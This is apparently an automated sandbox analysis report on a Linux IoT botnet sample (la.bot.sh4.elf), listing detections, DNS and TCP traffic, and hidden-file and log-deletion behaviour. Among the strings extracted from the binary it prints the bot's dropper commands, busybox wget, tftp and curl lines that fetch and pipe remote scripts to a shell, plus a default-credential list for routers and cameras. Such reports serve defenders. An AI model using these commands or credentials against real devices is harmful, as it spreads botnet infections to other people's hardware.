Linux Analysis Report
la.bot.sh4.elf

Overview

General Information

Sample name: la.bot.sh4.elf
Analysis ID: 1541757
MD5: 3fb8e5c6841fffcb128c6b2544809b26
SHA1: a0df151b08ee5abc734b374f34cc55a90002a586
SHA256: 0d41e915a06bc97c6bbaa78b6b87e9c97d7f282b53968f07fca9fc08341d239c
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sends malformed DNS queries
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.sh4.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.sh4.elf ReversingLabs: Detection: 34%
Source: la.bot.sh4.elf Virustotal: Detection: 33% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.sh4.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sh4.elf String: l/proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.sh4.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4X

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 38.54.122.172 ports 1,2,5,6,7,27651
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:47270 -> 38.54.122.172:27651
Sample listens on a socket
Source: /tmp/la.bot.sh4.elf (PID: 5491) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 135.191.242.243
Source: unknown TCP traffic detected without corresponding DNS query: 135.191.242.243
Source: unknown TCP traffic detected without corresponding DNS query: 190.170.106.253
Source: unknown TCP traffic detected without corresponding DNS query: 190.170.106.253
Source: unknown TCP traffic detected without corresponding DNS query: 130.155.139.80
Source: unknown TCP traffic detected without corresponding DNS query: 130.155.139.80
Source: unknown TCP traffic detected without corresponding DNS query: 193.183.195.126
Source: unknown TCP traffic detected without corresponding DNS query: 193.183.195.126
Source: unknown TCP traffic detected without corresponding DNS query: 129.134.180.51
Source: unknown TCP traffic detected without corresponding DNS query: 129.134.180.51
Source: unknown TCP traffic detected without corresponding DNS query: 167.251.77.146
Source: unknown TCP traffic detected without corresponding DNS query: 167.251.77.146
Source: unknown TCP traffic detected without corresponding DNS query: 137.123.65.114
Source: unknown TCP traffic detected without corresponding DNS query: 137.123.65.114
Source: unknown TCP traffic detected without corresponding DNS query: 136.209.98.92
Source: unknown TCP traffic detected without corresponding DNS query: 136.209.98.92
Source: unknown TCP traffic detected without corresponding DNS query: 78.26.170.249
Source: unknown TCP traffic detected without corresponding DNS query: 78.26.170.249
Source: unknown TCP traffic detected without corresponding DNS query: 192.203.125.155
Source: unknown TCP traffic detected without corresponding DNS query: 36.237.240.162
Source: unknown TCP traffic detected without corresponding DNS query: 192.203.125.155
Source: unknown TCP traffic detected without corresponding DNS query: 29.96.157.24
Source: unknown TCP traffic detected without corresponding DNS query: 36.237.240.162
Source: unknown TCP traffic detected without corresponding DNS query: 29.96.157.24
Source: unknown TCP traffic detected without corresponding DNS query: 156.211.83.166
Source: unknown TCP traffic detected without corresponding DNS query: 9.72.58.111
Source: unknown TCP traffic detected without corresponding DNS query: 156.211.83.166
Source: unknown TCP traffic detected without corresponding DNS query: 76.95.189.214
Source: unknown TCP traffic detected without corresponding DNS query: 9.72.58.111
Source: unknown TCP traffic detected without corresponding DNS query: 132.38.36.19
Source: unknown TCP traffic detected without corresponding DNS query: 76.95.189.214
Source: unknown TCP traffic detected without corresponding DNS query: 114.227.188.12
Source: unknown TCP traffic detected without corresponding DNS query: 132.38.36.19
Source: unknown TCP traffic detected without corresponding DNS query: 137.44.102.189
Source: unknown TCP traffic detected without corresponding DNS query: 114.227.188.12
Source: unknown TCP traffic detected without corresponding DNS query: 98.222.247.81
Source: unknown TCP traffic detected without corresponding DNS query: 137.44.102.189
Source: unknown TCP traffic detected without corresponding DNS query: 20.41.144.60
Source: unknown TCP traffic detected without corresponding DNS query: 98.222.247.81
Source: unknown TCP traffic detected without corresponding DNS query: 86.239.59.29
Source: unknown TCP traffic detected without corresponding DNS query: 20.41.144.60
Source: unknown TCP traffic detected without corresponding DNS query: 109.84.84.147
Source: unknown TCP traffic detected without corresponding DNS query: 86.239.59.29
Source: unknown TCP traffic detected without corresponding DNS query: 109.84.84.147
Source: unknown TCP traffic detected without corresponding DNS query: 151.62.248.248
Source: unknown TCP traffic detected without corresponding DNS query: 151.62.248.248
Source: unknown TCP traffic detected without corresponding DNS query: 7.196.73.107
Source: unknown TCP traffic detected without corresponding DNS query: 7.196.73.107
Source: unknown TCP traffic detected without corresponding DNS query: 191.182.150.84
Source: unknown TCP traffic detected without corresponding DNS query: 191.182.150.84
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.sh4.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sh4.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sh4.elf (PID: 5493) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: classification engine Classification label: mal72.troj.evad.linELF@0/0@24/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sh4.elf (PID: 5494) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5494) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/928/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/135/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.sh4.elf (PID: 5493) File opened: /proc/276/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sh4.elf (PID: 5494) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sh4.elf (PID: 5491) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sh4.elf, 5491.1.00007ffc09173000.00007ffc09194000.rw-.sdmp Binary or memory string: $x86_64/usr/bin/qemu-sh4/tmp/la.bot.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sh4.elf
Source: la.bot.sh4.elf, 5491.1.00007ffc09173000.00007ffc09194000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sh4
Source: la.bot.sh4.elf, 5491.1.0000562e95979000.0000562e959fc000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sh4
Source: la.bot.sh4.elf, 5491.1.0000562e95979000.0000562e959fc000.rw-.sdmp Binary or memory string: .V5!/etc/qemu-binfmt/sh4
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
159.63.44.73
 unknown United States
46887 LIGHTOWERUS false
192.41.220.107
 unknown United States
198423 RESOLV-ASFR false
72.91.41.223
 unknown United States
701 UUNETUS false
172.85.91.14
 unknown United States
53847 CEDEXISUS false
77.120.86.43
 unknown Ukraine
25229 VOLIA-ASUA false
174.95.160.240
 unknown Canada
577 BACOMCA false
203.104.248.87
 unknown Japan 17707 DATAHOTEL-JPASforDATAHOTELwhichisoneofiDCinJapan false
37.170.65.3
 unknown France
51207 FREEMFR false
131.210.145.171
 unknown United States
3128 BRUWS-AS3128US false
210.83.239.170
 unknown China
17623 CNCGROUP-SZChinaUnicomShenzennetworkCN false
20.56.219.164
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
163.163.206.9
 unknown Belgium
5609 ASN-CSELTAS-CSELTCONVERTEDTOASN-CSELTFORRPSLCOMPLIA false
149.231.156.78
 unknown Germany
702 UUNETUS false
220.41.102.169
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
14.49.42.163
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
45.46.146.196
 unknown United States
11351 TWC-11351-NORTHEASTUS false
5.166.149.99
 unknown Russian Federation
51570 SPB-ASRU false
180.188.25.170
 unknown China
136190 CHINATELECOM-ZHEJIANG-JINHUA-IDCJINHUAZHEJIANGProvince false
55.39.217.16
 unknown United States
324 DNIC-ASBLK-00306-00371US false
217.224.193.251
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
117.43.2.70
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
189.45.242.162
 unknown Brazil
28346 IBTELECOMUNICACOESLTDABR false
64.100.79.205
 unknown United States
109 CISCOSYSTEMSUS false
59.102.19.3
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
124.198.127.158
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
68.10.38.13
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
16.136.212.234
 unknown United States
unknown unknown false
219.90.173.157
 unknown Australia
4739 INTERNODE-ASInternodePtyLtdAU false
2.97.53.134
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
191.43.129.2
 unknown Brazil
7738 TelemarNorteLesteSABR false
170.49.55.45
 unknown United States
14017 BNSF-ASUS false
184.74.18.70
 unknown United States
11351 TWC-11351-NORTHEASTUS false
36.253.72.87
 unknown Nepal
38565 NCELL-AS-NPNcellPvtLtdNP false
105.84.194.204
 unknown Egypt
36992 ETISALAT-MISREG false
123.9.197.78
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
157.29.134.166
 unknown Italy
8968 BT-ITALIAIT false
91.76.25.80
 unknown Russian Federation
8359 MTSRU false
195.0.182.39
 unknown Norway
2116 ASN-CATCHCOMNO false
191.184.184.93
 unknown Brazil
28573 CLAROSABR false
42.95.62.220
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
217.68.45.170
 unknown Sweden
39078 GDMSE false
56.101.90.164
 unknown United States
2686 ATGS-MMD-ASUS false
7.61.217.58
 unknown United States
3356 LEVEL3US false
197.148.73.167
 unknown Gambia
37524 AFRICELL-GM false
143.158.130.29
 unknown United States
385 AFCONC-BLOCK1-ASUS false
109.158.203.75
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
47.57.166.156
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
159.186.127.227
 unknown United States
34058 LIFECELL-ASUA false
99.67.134.235
 unknown United States
7018 ATT-INTERNET4US false
